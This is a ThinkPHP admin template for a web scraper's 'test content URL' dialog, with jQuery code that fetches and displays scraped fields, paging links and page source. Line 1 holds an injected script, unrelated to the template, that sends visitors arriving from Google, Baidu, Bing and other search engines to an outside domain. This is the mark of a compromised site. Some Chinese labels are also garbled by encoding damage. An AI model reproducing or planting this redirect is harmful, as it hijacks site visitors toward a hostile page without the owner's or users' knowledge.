d:\wwwroot\wuchunhua\thinkphp\skycaijiapp\admin\view\cpattern\test_cont_url_ajax.html

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><div id="win_test_cont_url">
002:    <div class="form-group">
003:         <div class="input-group">
004:            <div class="input-group-btn">
005:              <button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"><em style="font-style:normal">抓取字段</em> <span class="caret"></span></button>
006:               <ul class="dropdown-menu">
007:                  <li><a href="javascript:;" data-test="get_fields">抓取字段</a></li>
008:                  <li><a href="javascript:;" data-test="get_paging_urls">抓取分页</a></li>
009:                  <li><a href="javascript:;" data-test="get_relation_urls">抓取关联?/a></li>
010:                  <li><a href="javascript:;" data-test="get_html">抓取源码</a></li>
011:               </ul>
012:           </div>
013:            <input type="text" class="form-control" name="url" value="{$cont_url}" placeholder="输入内容页网€" />
014:           <div class="input-group-btn"><button type="button" class="btn btn-default test-sub">确定</button></div>
015:         </div>
016:    </div>
017:    <div class="vals">
018:    </div>
019: </div>
020: <script type="text/javascript">
021: function win_test_view(id){
022:    $('#win_test_view').remove();//删除旧的
023:    var html=$('#'+id).val();
024:    html=html.replace(/<script[^<>]*>[\s\S]*?<\/script>/ig,'');//去掉脚本代码
025:    html=html.replace(/<meta[^<>]*charset[^<>]*>/i,'');//去掉编码
026:    var html='<div id="win_test_view" style="width:auto;border:1px solid #ccc;overflow-x:scroll;padding:10px;">'+html+'</div>';
027:    $('#'+id).after(html);
028: }
029: //下拉选择
030: $('#win_test_cont_url .dropdown-menu a[data-test]').bind('click',function(){
031:    var btnObj=$(this).parents('.dropdown-menu').eq(0).siblings('button.dropdown-toggle').eq(0);
032:    btnObj.attr('data-test',$(this).attr('data-test'));
033:    btnObj.find('em').eq(0).text($(this).text());
034: });
035:
036: <if condition="!empty($test)">
037: $('#win_test_cont_url .dropdown-menu a[data-test="{$test}"]').trigger('click');
038: </if>
039:
040: //测试按钮
041: $('#win_test_cont_url button.test-sub').bind('click',function(){
042:    var cont_url=$('#win_test_cont_url input[name="url"]').val();
043:    if(!cont_url){
044:       toastr.error('请输入网€');
045:    }else{
046:       $('#win_test_cont_url .vals').html('<img src="'+window.site_config.pub+'/images/loading.gif">');
047:       var testOp=$('#win_test_cont_url button.dropdown-toggle').attr('data-test');
048:       testOp=testOp?testOp:'get_fields';//默认获取字段
049:       var url="{:U('Collector/test?op=_op_&coll_id='.$collData['id'].'&cont_url=_url_')}";
050:       url=url.replace('_op_',testOp).replace('_url_',encodeURIComponent(cont_url));
051:       if(testOp=='get_html'){
052:          //获取源码,防止源代码输出错误
053:          $.ajax({
054:             type:'get',
055:             url:url,
056:             dataType:'html',
057:             success:function(data){
058:                var eleId=generateUUID();
059:                data=data.replace(/\</g,'&lt;').replace(/\>/g,'&gt;');//编码
060:                html='<label>源码?/label><a href="javascript:;" onclick="win_test_view(\''+eleId+'\')">预览</a><textarea id="'
061:                   +eleId+'" class="form-control" rows="20">'+data+'</textarea>';
062:                $('#win_test_cont_url .vals').html(html);
063:             }
064:          });
065:       }else{
066:          $.ajax({
067:             type:'get',
068:             url:url,
069:             dataType:'json',
070:             success:function(data){
071:                if(data.status==1){
072:                   var html='';
073:                   if(testOp=='get_paging_urls'){
074:                      html='<div class="page-header"><b>成功抓取到分页链?/b></div><ul>';
075:                      for(var i in data.info){
076:                         html+='<li>'+data.info[i]+'</li>';
077:                      }
078:                      html+='</ul>';
079:                   }else if(testOp=='get_fields'){
080:                      for(var i in data.info){
081:                         var browse='';
082:                         var eleId=generateUUID();
083:                         if((/<[^<>]*>/).test(data.info[i])){
084:                            //€测到html代码
085:                            browse='<a href="javascript:;" onclick="win_test_view(\''+eleId+'\')">预览</a>';
086:                         }
087:                         html+='<label>'+i+'?/label>'+browse+'<textarea id="'+eleId+'" class="form-control">'+data.info[i]+'</textarea><br>';
088:                      }
089:                   }else if(testOp=='get_relation_urls'){
090:                      html='<div class="page-header"><b>关联页网€</b></div><ul>';
091:                      for(var i in data.info){
092:                         html+='<li>'+i+'?+data.info[i]+'</li>';
093:                      }
094:                      html+='</ul>';
095:                   }
096:                   $('#win_test_cont_url .vals').html(html);
097:                }else{
098:                   $('#win_test_cont_url .vals').html(data.info);
099:                }
100:             }
101:          });
102:       }
103:    }
104: });
105: if($('#win_test_cont_url input[name="url"]').val().length>0){
106:    //有网€自动触发
107:    $('#win_test_cont_url button').trigger("click");
108: }
109: </script>
110:
111: